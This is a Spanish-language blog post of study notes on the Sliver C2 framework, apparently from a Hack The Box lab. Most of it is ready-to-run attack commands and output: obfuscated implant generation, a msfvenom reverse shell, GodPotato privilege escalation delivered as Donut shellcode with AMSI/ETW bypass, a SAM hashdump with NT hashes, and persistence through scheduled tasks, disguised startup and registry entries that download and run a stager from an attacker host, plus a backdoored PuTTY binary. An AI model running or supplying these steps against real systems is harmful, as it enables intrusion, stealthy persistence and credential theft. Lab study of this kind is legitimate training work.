Post

SliverC2 Basics

SliverC2 Basics

INTALACION:

https://github.com/BishopFox/sliver/releases?page=2 Instalar la version 1.5.42 (Comodidad para resolver el modulo)

Operator profile

liver puede diferenciar quién puede conectarse en función del perfil generado desde su servidor. Se puede generar un perfil utilizando el new-operator comando seguido del nombre del operador (-n) y la dirección IP del host que escucha (-l).

1
[server] sliver > new-operator -n student -l 10.10.15.40

Armería

La sección anterior nos presentó el arsenal porción de Sliver. Su capacidad de tener preinstalado .Los binarios NET listos para ser utilizados facilitan la vida de los operadores.

Sin embargo, uno de los inconvenientes con los que uno podría tropezar es la detección de las herramientas.

1
armory install seatbelt

Instalación de armería

Para instalar una extensión específica (utilidad) podemos utilizar la install subcomando al especificar el nombre de la extensión (herramienta/utilidad). Si ejecutamos solo el armory El comando nos proporcionará información sobre la extensión actual.

Nota: Para superar un posible error con el armory comando dentro del client componente de Sliver, ejecute el comando dentro del server componente.

Implantes

Ofrecen conexiones de red en diferentes conjuntos de protocolos y un medio de comunicación entre un servidor C2 y la estación de trabajo/servidor de destino.

Implants puede operar en modo:

  • beacon : da como resultado la ejecución de comandos en un período determinado
  • session: modo permite la capacidad de tener ejecución inmediata de comandos por parte del operador.

El modo beacon tiene sus beneficios siempre que se trata de una participación real del equipo rojo, ya que no agilizará el tráfico/los comandos a un ritmo constante, lo que podría alertar al equipo azul.

Generación de un implante en modo beacon

Para generar un implante en modo baliza, podemos utilizar el generate comando seguido de beacon

1
sliver > generate beacon --help

Algunos de los argumentos notables son:

  • -J / --jitter, que configura el tiempo de fluctuación de la devolución de llamada desde el implante de una manera que fluctuará según el valor
  • -S / --seconds, lo que nos permite establecer el intervalo de tiempo de la devolución de llamada. El valor predeterminado para -S / --seconds está configurado para 60, lo que significa que cada sesenta segundos recibiremos una devolución de llamada, ya sea una verificación y/o un resultado que contenga los resultados de nuestra consulta/comando. Los implantes en modo beacon se pueden generar utilizando los protocolos disponibles en Sliver - mTLS, HTTP(s), DNS, tuberías con nombre y pivotes TCP; estos últimos se utilizan principalmente para pivotar entre objetivos internos en un entorno. A continuación se muestran dos variantes para generar una baliza HTTP mientras se comparan los tamaños entre el implante no ofuscado (--skip-symbols) y el implante ofuscado. Para simplificar, los binarios se generan con nombres que no son aleatorios, que es el valor predeterminado Sliver.
1
sliver > generate beacon --http 127.0.0.1 --skip-symbols -N http_beacon --os windows

Generación de un implante ofuscado en modo baliza.

1
sliver > generate beacon --http 127.0.0.1 -N http_beacon_obfuscated --os windows

SILVER EN ACCION

el protocolo de staging meterpreter es compatible con TCP y HTTP(s). Necesitaremos utilizar el profiles en Sliver para crear un nuevo perfil, un plano de implante que define una configuración a reutilizar. Para utilizar el stager, necesitaríamos crear un perfil, un stage-listener y un stager sin olvidar generar una carga útil a través de msfvenom.

1
2
3
4
5
6
sliver > profiles new --http 10.10.15.40:8088 --format shellcode htb

sliver > stage-listener --url tcp://10.10.15.40:4443 --profile htb
sliver > http -L 10.10.15.40 -l 8088

sliver > generate stager --lhost 10.10.15.40 --lport 4443 --format csharp --save staged.txt

Recordar remplazar las cargas utiles:

1
MoltenGamaLujanCarrion@htb[/htb]$ msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.40 LPORT=4443 -f aspx > sliver.aspx

usar una session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[server] sliver > sessions

 ID         Name                Transport   Remote Address         Hostname   Username   Operating System   Locale   Last Message                                 Health  
========== =================== =========== ====================== ========== ========== ================== ======== ============================================ =========
 4a0113ca   ECONOMIC_REMINDER   http(s)     10.129.27.213:49692    web01      <err>      windows/amd64      en-US    Thu Feb  5 15:18:29 CST 2026 (1s ago)        [ALIVE] 
 9b037127   ECONOMIC_REMINDER   http(s)     10.129.205.234:49762   web01      <err>      windows/amd64      en-US    Thu Feb  5 14:11:48 CST 2026 (1h6m42s ago)   [DEAD]  
 d30f8918   ECONOMIC_REMINDER   http(s)     10.129.205.234:49757   web01      <err>      windows/amd64      en-US    Thu Feb  5 14:11:48 CST 2026 (1h6m42s ago)   [DEAD]  

[server] sliver > use 4a0113ca
[server] sliver (ECONOMIC_REMINDER) > info

        Session ID: 4a0113ca-0006-4e6d-97c6-d6b31391597b
              Name: ECONOMIC_REMINDER
          Hostname: web01
              UUID: 072f3042-776f-1d74-392b-c2526dd3952c
          Username: <err>
               UID: <err>
               GID: <err>
               PID: 4536
                OS: windows
           Version: Server 2016 build 17763 x86_64
            Locale: en-US
              Arch: amd64
         Active C2: https://10.10.15.40:8088
    Remote Address: 10.129.27.213:49692
         Proxy URL: 
Reconnect Interval: 1m0s
     First Contact: Thu Feb  5 15:18:27 CST 2026 (1m4s ago)
      Last Checkin: Thu Feb  5 15:19:28 CST 2026 (3s ago)

 

Assess further the web application and submit the name of the database user

What is the name of the user from the session captured in Sliver

Submit the contents of the text file located at C:\Users\Public

Privilege Escalation

Alias y extensiones

podemos ampliar sus funciones agregando nuevos comandos a través de armory o crear herramientas de terceros. Según el Wiki de alias y extensiones, existen diferencias entre aliases y extensions:

  • Alias Básicamente es un envoltorio alrededor sideload, que cargará y ejecutará una biblioteca compartida en la memoria en un proceso remoto; una lógica similar tiene la execute-assembly función en Sliver, que ejecutará un .Binario NET de forma remota con los argumentos especificados, y el binario se ejecutará en un proceso secundario.
  • Extensions son similares a aliases; son artefactos de código nativo cargados por el implante y pasados devoluciones de llamada específicas para devolver datos al servidor C2.

Enumeración

Seatbelt es una herramienta utilizada para enumerar el entorno escrito en C# utilizada tanto por operadores de equipos rojos (profesionales) como por miembros de equipos azules para evaluar la postura de seguridad actual.

1
sliver (HIGH_RISER) > seatbelt -- -group=all

El execute-assembly El comando también se puede utilizar para ejecutar .Binarios NET que hemos compilado. Usaremos el Colección Sharp mantenido por Flangvik con fines demostrativos.

1
2
MoltenGamaLujanCarrion@htb[/htb]$ git clone https://github.com/Flangvik/SharpCollection
sliver (HIGH_RISER) > execute-assembly /home/htb-ac590/SharpCollection/NetFramework_4.0_Any/Seatbelt.exe -group=system

Nota de OPSEC: De forma predeterminada, ejecutar-assembly iniciará un proceso de sacrificio (notepad.exe); esto se puede cambiar usando –process y especificando el proceso.

Se puede utilizar otra herramienta para fines de enumeración. SharpUp, que está escrito en C#, tiene la mayoría de las capacidades de Encendido. Se utiliza principalmente para enumerar privilegios, registros, rutas de servicio sin comillas, etc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[server] sliver (DETERMINED_EUROPE) > armory install sharpup

[*] Installing alias 'SharpUp' (v0.0.2) ... done!

[server] sliver (DETERMINED_EUROPE) > sharpup -- audit

[*] sharpup output:

=== SharpUp: Running Privilege Escalation Checks ===
[!] Modifialbe scheduled tasks were not evaluated due to permissions.

=== Abusable Token Privileges ===
	SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED


=== Modifiable Services ===
	[X] Exception: Exception has been thrown by the target of an invocation.
	[X] Exception: Exception has been thrown by the target of an invocation.
	[X] Exception: Exception has been thrown by the target of an invocation.
	Service 'UsoSvc' (State: Running, StartMode: Auto)



[*] Completed Privesc Checks in 22 seconds

Según el resultado de los resultados, el usuario tiene SeImpersonarPrivilegio habilitado, lo cual no es sorprendente para nosotros ya que la sesión se realiza en el contexto de la cuenta de servicio IIS. Las cuentas de servicio tienden a tener el privilegio habilitado. Una de las herramientas notorias para explotar el privilegio es GodPotato, parte de los exploits de Potato que afectan versiones de Windows 11, Windows Server 2022 y anteriores.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[server] sliver (DETERMINED_EUROPE) > execute-assembly /home/htb-ac-1648401/GodPotato-NET4.exe -cmd "whoami"

[*] Output:
[*] CombaseModule: 0x140705545519104
[*] DispatchTable: 0x140705547828448
[*] UseProtseqFunction: 0x140705547207776
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\0b8d2536-524e-4c07-9d58-6861b6a9adae\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000a402-05d4-ffff-bbf4-84a04870e64d
[*] DCOM obj OXID: 0xe87d3ed836586d52
[*] DCOM obj OID: 0x5ca8a6ca2affe972
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 944 Token:0x780  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3744
nt authority\system

Config Donuts

Donut es una herramienta enfocada a crear shellcodes binarios que puedan ejecutarse en memoria; Donut generará un shellcode de a .Binario NET, que se puede ejecutar a través de execute-shellcode argumento en Sliver.

1
2
3
4
MoltenGamaLujanCarrion@htb[/htb]$ git clone https://github.com/TheWover/donut
MoltenGamaLujanCarrion@htb[/htb]$ cd donut/
MoltenGamaLujanCarrion@htb[/htb]$ make -f Makefile
MoltenGamaLujanCarrion@htb[/htb]$ ./donut

Si falla compilalo a la “mala”:

1
gcc -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.a -o donut -w

Para aprovechar Donut, necesitaríamos crear cualquiera de los dos http o mtls baliza(s) de antemano. Una vez generado el implante, tendríamos que subirlo al objetivo como el shellcode generado por Donut buscará el binario que debe ejecutarse en los argumentos de carga útil de la herramienta (GodPotato). Uno de los lugares comunes que utilizan los operadores de equipos rojos y los actores de amenazas es el C:\Windows\Tasks directorio.

1
2
3
4
5
6
7
8
generate beacon --http 10.10.15.40:9002 --skip-symbols -N http-beacon

[server] sliver (FRESH_GAUGE) > upload http-beacon2.exe C:\\Users\\Public\\http-beacon2.exe

[*] Wrote file to C:\Users\Public\http-beacon2.exe

sliver (HIGH_RISER) > http --lhost 10.10.15.40 --lport 9002

Para generar el shellcode usando Donut, vamos a utilizar los argumentos:

  • -i elegir el archivo a ejecutar en la memoria
  • -a 2 responsable de elegir la arquitectura (2 = amd64)
  • -b 2 responsable de omitir AMSI/WLDP/ETW (2 = Abortar en caso de falla)
  • -p seguido de los argumentos que se van a ejecutar GodPotato 
  • -o para especificar el directorio de salida y el nombre del shellcode.
    1
    
    MoltenGamaLujanCarrion@htb[/htb]$ ./donut -i /home/htb-ac590/GodPotato-NET4.exe -a 2 -b 2 -p '-cmd c:\temp\http-beacon.exe' -o /home/htb-ac590/godpotato.bin
    

Para continuar y utilizar el execute-shellcode En la memoria, tendríamos que crear un proceso de sacrificio de notepad.exe usando Rubeus.exe ( previamente descargado de SharpCollection). Crear un proceso de sacrificio nos permitirá no intervenir con otros procesos que podrían ser cruciales para la organización, ya que podrían colapsar.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[server] sliver (FRESH_GAUGE) > execute-assembly /home/htb-ac-1648401/Rubeus.exe createnetonly /program:C:\\windows\\system32\\notepad.exe

[*] Output:

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 


[*] Action: Create Process (/netonly)


[*] Using random username and password.

[*] Showing process : False
[*] Username        : 2NKL7UHO
[*] Domain          : XYDN551P
[*] Password        : F8UM4LO4
[+] Process         : 'C:\windows\system32\notepad.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 1840
[+] LUID            : 0x32cb8a

Una vez que tengamos un proceso de sacrificio en ejecución, podemos usarlo execute-shellcode seguido del PID del proceso sacrificial y el payload.bin generado anteriormente, lo que nos permite abusar del SeImpersonate privilegio del usuario actual. Usando ps -e <process_name>

1
[server] sliver (FRESH_GAUGE) > execute-shellcode -p 1840 /home/htb-ac-1648401/godpotato.bin

Despues se ejecutara un beacon con el contexto de Authority System

Escalate your privileges and submit the contents of the web01_root.txt flag located on the Administrator’s Desktop

Dump the local SAM database and submit the NT hash of the admin account
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
server] sliver (http-beacon2) > interactive

[*] Using beacon's active C2 endpoint: https://10.10.15.40:9002
[*] Tasked beacon http-beacon2 (cb1c2b46)

[*] Session ad554a33 http-beacon2 - 10.129.27.213:50036 (web01) - windows/amd64 - Thu, 05 Feb 2026 16:56:12 CST


[server] sliver (http-beacon2) > sessions

 ID         Name           Transport   Remote Address        Hostname   Username              Operating System   Locale   Last Message                            Health  
========== ============== =========== ===================== ========== ===================== ================== ======== ======================================= =========
 0d291f14   OKAY_PRESENT   http(s)     10.129.27.213:49985   web01      <err>                 windows/amd64      en-US    Thu Feb  5 16:56:22 CST 2026 (0s ago)   [ALIVE] 
 ad554a33   http-beacon2   http(s)     10.129.27.213:50036   web01      NT AUTHORITY\SYSTEM   windows/amd64      en-US    Thu Feb  5 16:56:22 CST 2026 (0s ago)   [ALIVE] 

[server] sliver (http-beacon2) > use ad554a33


[server] sliver (http-beacon2) > getsystem


[*] A new SYSTEM session should pop soon...

[*] Beacon 98b309dd http-beacon2 - 10.129.27.213:50055 (web01) - windows/amd64 - Thu, 05 Feb 2026 16:59:07 CST

[server] sliver (http-beacon2) > use 98b309dd

[*] Active beacon http-beacon2 (98b309dd-c26c-4ce5-8771-b6f05c6e799e)

[server] sliver (http-beacon2) > armory install hashdump

[*] Installing extension 'hashdump' (v1.0.0) ... done!

[server] sliver (http-beacon2) > hashdump

[*] Tasked beacon http-beacon2 (e725c08f)

[+] http-beacon2 completed task e725c08f

[*] Successfully executed hashdump
[*] Got output:
Administrator:500:Administrator:500:aad3b435b51404eeaad3b435b51404ee:e368973bdcf9dd5219882fdf0777ff0b:::::
Guest:501:Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
DefaultAccount:503:DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
WDAGUtilityAccount:504:WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:02e5a94d265e7d5dc6072839a5641543:::::
normal:1000:normal:1000:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::::
admin:1001:admin:1001:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::::

Establishing persistence

Tareas programadas

Establecer persistencia utilizando la notoria técnica de tareas programadas se puede hacer de varias maneras: utilizando la execute cmdlet en Sliver que ejecutará el “binario” dado y el comando o usando SharPersist. Nos centraremos en el primer método que utiliza execute.

Por defecto, PowerShell usos UTF-16LE como codificación, pero ese no siempre es el caso, por lo que debemos convertir nuestra carga útil a Base64 usando el UTF-16LE codificación.

1
2
MoltenGamaLujanCarrion@htb[/htb]$ echo -en "iex(new-object net.webclient).downloadString('http://10.10.14.62:8088/stager.txt')" | iconv -t UTF-16LE | base64 -w 0
aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADYAMgA6ADgAMAA4ADgALwBzAHQAYQBnAGUAcgAuAHQAeAB0ACcAKQA=

Con la carga útil codificada en la mano, utilizaremos la carga incorporada schtasks cmdlet en Windows para crear la tarea. Vamos a nombrar la tarea SecurityUpdater,

  • usando el /create, le estamos diciendo al binario que cree la siguiente tarea
  • /sc especifica la frecuencia de programación
  • /mo especifica la frecuencia de repetición de la tarea
  • /tn especifica el nombre de la tarea
  • /tr especifica el valor de la tarea a ejecutar
  • /ru especifica el contexto de usuario bajo el cual se ejecuta la tarea.
1
sliver (http-beacon) > execute powershell 'schtasks /create /sc minute /mo 1 /tn SecurityUpdater /tr "powershell.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADYAMgA6ADgAMAA4ADgALwBzAHQAYQBnAGUAcgAuAHQAeAB0ACcAKQA=" /ru SYSTEM'
Actividad de inicio de sesión

Aprovechar la actividad de inicio de sesión de un usuario para mantener la persistencia es uno de los métodos. De esta manera, una vez que un usuario inicia sesión en el sistema operativo, se ejecuta una carga útil específica, donde podemos insertar una actividad de puerta trasera en el Startup carpeta y registro. La carpeta de inicio de cada usuario se encuentra en C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. Si colocamos un archivo aquí, el archivo se ejecutará cada vez que el usuario inicie sesión.

1
sliver (http-beacon) > sharpersist -- -t startupfolder -c \"powershell.exe\" -a \"-nop -w hidden iex(new-object net.webclient).downloadstring(\'http://10.10.14.62:8088/stager.txt\')\" -f \"Edge Updater\" -m add

Consultando el contenido del directorio mencionado, podemos ver que el archivo Edge Updater se ha colocado con éxito como .LNK archivo.

También podemos especificar qué programa ejecutar cuando un usuario inicia sesión editando el registro. Dependiendo del privilegio que ya tengamos, podemos editar los siguientes elementos de registro:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
    1
    
    sliver (http-beacon) > sharpersist -- -t reg -c \"powershell.exe\" -a \"-nop -w hidden iex(new-object net.webclient).downloadstring(\'http://10.10.14.62:8088/staged.txt\')\" -k \"hklmrun\" -v \"AdvancedProtection\" -m add
    
Puerta trasera

En esta sección, utilizaremos la funcionalidad del backdoor comando integrado en Sliver. Supongamos que el usuario del sistema de destino lo ha instalado PuTTY, y tenemos acceso completo al directorio; podemos hacer una puerta trasera al binario (putty.exe) para ejecutar un shellcode de nuestra elección.

Debemos ser cautelosos ya que alterará el comportamiento de la aplicación, lo que dará como resultado casos en los que la aplicación ni siquiera se iniciará. Antes de continuar con la aplicación de puerta trasera, debemos crear un perfil en Sliver.

1
2
3
4
sliver (http-beacon) > profiles new --format shellcode --http 10.10.14.62:9002 persistence-shellcode


sliver (http-beacon) > backdoor --profile persistence-shellcode "C:\Program Files\PuTTY\putty.exe"

Cada vez que un usuario inicia o intenta iniciar PuTTY, obtendremos un shell; una exención de responsabilidad PuTTY No se cargará en absoluto, pero aún así recuperaremos una baliza.

Domain Reconnaissance

PowerView

Realizaremos solicitudes HTTP a un servidor que controlamos y donde PowerView.ps1 está alojado mediante comandos codificados en base64. Necesitamos iniciar un servidor web Python con la ayuda de http.servidormódulo. Además, codificaremos los comandos que ejecutaremos usando base64, como se mencionó anteriormente.

 La siguiente consulta se centra en enumerar los usuarios y sus descripciones, ya que a menudo corresponde a los administradores de sistemas dejar notas valiosas para esas cuentas, donde, en algunos casos, esas notas pueden ser contraseñas de las cuentas.

1
2
3
MoltenGamaLujanCarrion@htb[/htb]$ echo -n "get-netuser | select  samaccountname,description" | base64 

sliver (http-beacon) > sharpsh -- '-u http://10.10.14.62:8081/PowerView.ps1 -e -c Z2V0LW5ldHVzZXIgfCBzZWxlY3QgIHNhbWFjY291bnRuYW1lLGRlc2NyaXB0aW9u'

Teniendo el comando codificado en base64, usaremos el -e El argumento que especifica el comando está codificado y -c donde reside el comando. Debemos tener en cuenta que cada vez que corremos PowerView usando sharpsh, realizaremos solicitudes HTTP a nuestro servidor HTTP.

This post is licensed under CC BY 4.0 by the author.